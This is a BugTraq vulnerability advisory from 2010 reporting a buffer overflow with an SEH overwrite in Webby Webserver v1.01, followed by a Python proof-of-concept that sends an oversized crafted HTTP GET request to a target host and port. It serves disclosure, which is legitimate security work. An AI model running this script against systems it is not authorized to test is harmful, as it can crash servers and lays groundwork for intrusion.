BugTraq
Webby Webserver v1.01 - Buffer overflow vulnerability with overwritten structured exception handler (SEH) May 25 2010 07:57AM
michael messner integralis com
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Webby Webserver v1.01

- Buffer overflow vulnerability with overwritten structured exception handler (SEH)

Date: 25.05.2010

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- Description

Webby is a small webserver for the windows operating system.

- buffer overflow vulnerability

The vulnerability can be triggered by sending a specially crafted HTTP GET request. Payload of the attached POC overwrites the SEH with NOPs.

- Solution

No known solution available.

No contact details of the author found.

- Credits

The vulnerability was discovered by Michael Messner from Integralis

michael#dot#messner#at#integralis#dot#com

- Timeline

25.05.2010 - Vulnerability discovered

- Reference

Download vulnerable software

http://www.shareware.de/webby-webserver/

- POC

#!/usr/bin/python

import socket

import sys

import os.path

import time

if len(sys.argv) < 2:

print "Usage: webby.py <IP> <port>"

sys.exit(0)

ips = sys.argv[1]

port = int(sys.argv[2])

string = "A"*790

string += "\x90"*4

string += "\x42"*105

method = "GET"

print "starting POC for:", ips

print ""

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

connect=s.connect((ips, port))

except:

print "no connection possible"

sys.exit(1)

payload = method + ' http://'+ ips + '/' + string + ' HTTP/1.0\x0d\x0a\x0d\x0a'

print "\r\nsending payload"

print "\n\rusing methode %s with buffersize of: %s" % (method,str(len(string)))

print "..."

print payload

s.send(payload)

print "finished with method %s and payload %s" % (method,payload)

print "... check SEH"

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